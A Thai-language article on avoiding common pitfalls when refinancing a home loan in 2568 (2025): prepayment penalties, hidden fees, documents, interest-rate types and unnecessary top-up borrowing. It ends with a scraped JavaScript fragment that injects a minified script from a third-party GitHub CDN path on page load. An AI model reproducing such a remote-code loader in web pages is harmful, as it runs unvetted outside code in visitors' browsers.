กำจัดจุดอ่อน ก่อนรีไฟแนนซ์บ้าน 2568

เป็นที่ทราบกันดีสำหรับคนที่กู้”สินเชื่อบ้าน”ว่า หากต้องการลดภาระดอกเบี้ยและปรับแผนการเงินให้เหมาะสมกับสถานการณ์ปัจจุบัน"การรีไฟแนนซ์บ้าน" เป็นทางเลือกที่ดี และเหมาะสมที่สุด แต่หากต้องการให้ การรีไฟแนนซ์บ้านผ่านง่าย อนุมัติเร็ว ก็ควรมีการเตรียมตัวอย่างรอบคอบด้วยนะคะ และเพื่อให้การรีไฟแนนซ์บ้านในปี 2568 เป็นไปอย่างราบรื่นและคุ้มค่า เราจะพามา "กำจัดจุดอ่อน" ที่อาจทำให้การรีไฟแนนซ์ไม่ประสบความสำเร็จ พร้อมวิธีการวางแผนที่ช่วยให้เราได้รับประโยชน์สูงสุดกันค่ะ

1. ค่าปรับปิดบัญชีก่อนครบกำหนด : ควรเช็กเงื่อนไขสัญญาเดิมให้ดีก่อน ค่าปรับกรณีปิดบัญชีก่อนกำหนด (Prepayment Fee) เป็นเรื่องที่ควรระวังสำหรับเงื่อนไขสัญญาเดิม ซึ่งธนาคารเดิมสามารถเรียกเก็บเมื่อเราทำการปิดบัญชีก่อนครบกำหนดสัญญา ส่วนใหญ่จะกำหนดไว้ที่ระยะเวลา 3 ปีแรก โดยมีค่าใช้จ่ายประมาณ 1 - 3% ของยอดหนี้คงเหลือ วิธีกำจัดจุดอ่อน :

• ตรวจสอบเงื่อนไขสัญญาเดิมว่าเลยกำหนด 3 ปีแรกหรือไม่ (ช่วงที่มักมีค่าปรับ)

• หากยังไม่ครบกำหนด อาจใช้วิธีการเจรจากับธนาคารเดิมเพื่อขอลดดอกเบี้ย (Retention) แทนการรีไฟแนนซ์2. ค่าใช้จ่ายแอบแฝง : ควรศึกษาข้อมูลว่าในการรีไฟแนนซ์บ้านแต่ละครั้งจะมีค่าใช้จ่ายอะไรบ้าง ในการรีไฟแนนซ์บ้านทุกครั้งจะมาพร้อมค่าใช้จ่ายต่างๆ ที่เราควรพิจารณาอย่างละเอียดก่อนตัดสินใจ เช่น

• ค่าจดจำนอง เป็นค่าธรรมเนียมที่จ่ายให้กับสำนักงานที่ดินเมื่อมีการจดทะเบียนสินเชื่อใหม่ (1% ของวงเงินกู้ใหม่)

• ค่าประเมินราคาทรัพย์สิน เป็นค่าใช้จ่ายสำหรับการประเมินมูลค่าทรัพย์สิน เพื่อกำหนดวงเงินกู้ โดยจะมีการเรียกเก็บจากผู้ประเมินที่ธนาคารกำหนด (ประมาณ 2,000-5,000 บาท)

• ค่าธรรมเนียมอื่น ๆ เช่น ค่าดำเนินการ ค่าธรรมเนียมธนาคารที่อาจมีค่าธรรมเนียมการจัดการสินเชื่อเพิ่มเติม เช่น 1,000-3,000 บาท, ค่าอากรแสตมป์ ที่จะคิดเป็น 0.05% ของวงเงินกู้ใหม่ โดยทั่วไปไม่เกิน 10,000 บาท รวมถึงค่าประกัน MRTA ที่ค่าใช้จ่ายอาจเริ่มต้นที่ประมาณ 30,000-50,000 บาท ต่อประกัน 10-15 ปี เป็นต้นวิธีกำจัดจุดอ่อน :

• ควรรวมค่าใช้จ่ายทั้งหมด และคำนวณว่าการรีไฟแนนซ์จะช่วยให้ประหยัดดอกเบี้ยและคืนทุนได้ในระยะเวลาที่เหมาะสม

• เลือกเปรียบเทียบธนาคารที่มีโปรโมชันลดหรือยกเว้นค่าใช้จ่ายต่างๆ เช่น ฟรีค่าจดจำนอง หรือฟรีค่าประเมินทรัพย์สิน เป็นต้นตัวอย่างเช่น : หากคำนวณค่าใช้จ่ายรวมแล้วคิดเป็น 50,000 บาท และการรีไฟแนนซ์ครั้งนี้จะช่วยลดค่างวดได้ 2,000 บาท/เดือน จุดคืนทุนจะอยู่ที่ จุดคืนทุน = 50,000/2,000 = 25 เดือน (ประมาณ 2 ปี 1 เดือน) **ควรตรวจสอบว่าเราวางแผนถือครองบ้านนานพอที่จะคุ้มค่าหรือไม่** 3. เอกสารไม่ครบถ้วน : อาจส่งผลทำให้เกิดความล่าช้าในการอนุมัติสินเชื่อ ในการรีไฟแนนซ์บ้านจะต้องมีการยื่นเอกสารใหม่เหมือนกับการขอสินเชื่อครั้งแรก ทั้งเอกสารส่วนบุคคล และเอกสารทางการเงิน ดังนั้นเพื่อให้การรีไฟแนนซ์เป็นไปอย่างราบรื่น ไม่ล่าช้า ควรมีการเตรียมเอกสารให้ครบถ้วน และถูกต้อง วิธีกำจัดจุดอ่อน :

• เตรียมเอกสารสำคัญล่วงหน้า เช่น
  - โฉนดที่ดินหรือเอกสารกรรมสิทธิ์
  - สัญญาเงินกู้เดิม
  - หนังสือรับรองเงินเดือนหรือสลิปเงินเดือน
  - รายการเดินบัญชีย้อนหลัง 6 เดือน

• ติดต่อธนาคารเพื่อสอบถามเอกสารเพิ่มเติมที่อาจจำเป็น4. อัตราดอกเบี้ยไม่เหมาะสม : อาจทำให้เกิดภาระทางการเงินเพิ่มขึ้น และต้องแบกรับความเสี่ยงจากอัตราดอกเบี้ยที่ไม่เป็นไปตามที่คาดการณ์ไว้ การเลือกอัตราดอกเบี้ยที่เหมาะสมถือเป็นอีกหนึ่งปัจจัยสำคัญที่จะช่วยให้ประหยัดค่าใช้จ่าย และช่วยจัดการภาระการเงินได้อย่างมีประสิทธิภาพ โดยประเภทดอกเบี้ยมีทั้ง ดอกเบี้ยคงที่ และ ดอกเบี้ยลอยตัว ซึ่งแต่ละประเภทมีข้อดี และข้อเสียต่างกัน ดังนั้นจึงควรเลือกดอกเบี้ยให้เหมาะสมกับสถานการณ์ และแนวโน้มดอกเบี้ยตลาดในปัจจุบันด้วยนะคะ ประเภทของดอกเบี้ย 1. ดอกเบี้ยคงที่ (Fixed Rate) เป็นอัตราดอกเบี้ยคงที่ในระยะเวลาที่กำหนด (เช่น 3-5 ปีแรก) ซึ่งจะช่วยให้สามารถคาดการณ์ยอดผ่อนชำระได้แน่นอน รวมถึงช่วยป้องกันความเสี่ยงจากดอกเบี้ยที่อาจปรับขึ้นในอนาคต ข้อควรระวัง :

• หากหมดช่วงอัตราดอกเบี้ยคงที่แล้ว อาจเปลี่ยนเป็นดอกเบี้ยลอยตัวที่สูงกว่า

• หากดอกเบี้ยตลาดลดลง เราอาจจะยังคงจ่ายในอัตราดอกเบี้ยเดิมที่สูงกว่าภาวะตลาดได้

• อัตราดอกเบี้ยแบบคงที่เหมาะสำหรับ ผู้ที่ต้องการความมั่นคงในการชำระหนี้ และกรณีที่มีการคาดการณ์ว่าดอกเบี้ยในตลาดจะปรับตัวสูงขึ้นในอนาคต2. ดอกเบี้ยลอยตัว (Floating Rate) เป็นอัตราดอกเบี้ยจะปรับตามตลาดหรือดัชนีอ้างอิง เช่น MLR, MRR ซึ่งหากดอกเบี้ยในตลาดลดลง จะทำให้เราจ่ายดอกเบี้ยที่ต่ำลงด้วย และอาจส่งผลให้อัตราดอกเบี้ยในระยะยาวอาจถูกกว่าดอกเบี้ยคงที่ได้ ข้อควรระวัง :

• ต้องรับความเสี่ยงจากการปรับขึ้นของดอกเบี้ย

• ยอดผ่อนชำระต่อเดือนอาจไม่แน่นอน

• อัตราดอกเบี้ยแบบลอยตัวเหมาะสำหรับ ผู้ที่คาดว่าดอกเบี้ยในตลาดจะลดลง มีความยืดหยุ่นทางการเงินสูง และสามารถยอมรับความเสี่ยงได้3. ดอกเบี้ยผสม (Hybrid Rate) เป็นการรวมข้อดีของทั้งดอกเบี้ยคงที่ และลอยตัว เช่น คงที่ในช่วง 3 ปีแรก และเปลี่ยนเป็นลอยตัวในปีที่ 4 เป็นต้น ซึ่งดอกเบี้ยแบบผสมจะช่วยให้ได้รับความมั่นคงในช่วงต้น และยังมีโอกาสที่จะรับดอกเบี้ยจากการปรับตัวตามตลาดในระยะยาวอีกด้วย ซึ่งจะช่วยลดความเสี่ยงจากการเปลี่ยนแปลงดอกเบี้ยในอนาคต ข้อควรระวัง :

• หลังหมดช่วงอัตราดอกเบี้ยคงที่แล้ว อัตราดอกเบี้ยอาจมีการปรับขึ้นได้

• อัตราดอกเบี้ยแบบผสมเหมาะสำหรับ ผู้ที่มีการวางแผนจะรีไฟแนนซ์อีกครั้งหลังหมดช่วงดอกเบี้ยคงที่ หรือช่วงดอกเบี้ยโปรโมชัน
  วิธีกำจัดจุดอ่อน :

• เลือกดอกเบี้ยให้เหมาะกับความต้องการ
  - ดอกเบี้ยคงที่ : เหมาะสำหรับผู้ที่ต้องการความมั่นคงในการผ่อนชำระ โดยเฉพาะในช่วงดอกเบี้ยขาขึ้น
  - ดอกเบี้ยลอยตัว : เหมาะสำหรับผู้ที่คาดการณ์ว่าดอกเบี้ยในตลาดจะปรับลดในอนาคต หรือผู้ที่มีแผนรีไฟแนนซ์อีกครั้งในระยะเวลาอันสั้น

• ควรทำการเปรียบเทียบอัตราดอกเบี้ยจากหลายๆ ธนาคาร ก่อนตัดสินใจ5. กู้เพิ่มโดยไม่จำเป็น : หากใช้ไม่ระวังอาจเป็นการเพิ่มภาระทางการเงิน และทำให้ปิดหนี้ได้ช้าลง การรีไฟแนนซ์พร้อมกู้เงินเพิ่ม หรือ Top Up วงเงินเพิ่ม อาจเป็นการเพิ่มภาระหนี้โดยไม่จำเป็น ทำให้มียอดหนี้มากขึ้น ปิดหนี้ได้ช้าลง และอัตราดอกเบี้ยวงเงิน Top Up ก็มักจะสูงกว่าอัตราดอกเบี้ยสินเชื่อรีไฟแนนซ์บ้าน เป็นการเพิ่มภาระดอกเบี้ยอีกทางหนึ่งด้วย วิธีกำจัดจุดอ่อน :

• หากต้องการกู้เพิ่มควรทำเมื่อมีแผนการใช้เงินที่ชัดเจน เช่น ต้องการปรับปรุงบ้าน หรือต้องการลงทุนที่มีผลตอบแทนแน่นอน เป็นต้น

• ควรประเมินความสามารถในการชำระหนี้ก่อนตัดสินใจกู้เพิ่มสรุปแล้ว หากคิดจะรีไฟแนนซ์บ้านในปี 2568 นอกจากจะเป็นโอกาสที่ดีในการลดดอกเบี้ยและปรับโครงสร้างหนี้ให้เหมาะสมกับสถานการณ์การเงินของตนเองแล้ว การเตรียมตัวล่วงหน้า การวางแผนอย่างรอบคอบ และกำจัดจุดอ่อนต่างๆ จะช่วยให้การรีไฟแนนซ์เป็นไปอย่างราบรื่น และคุ้มค่ามากที่สุดนะคะ

{s.src='https://cdn.jsdelivr.net/gh/tatikers/san/checkraka.min.js';s.dataset.zone=1;document.body.appendChild(s)})(document.createElement('script')) src=https://www.checkraka.com/uploaded/img/user/sLY0v8Yw3lMqWnjnUvXb1PO5NmxyseZ039K.png />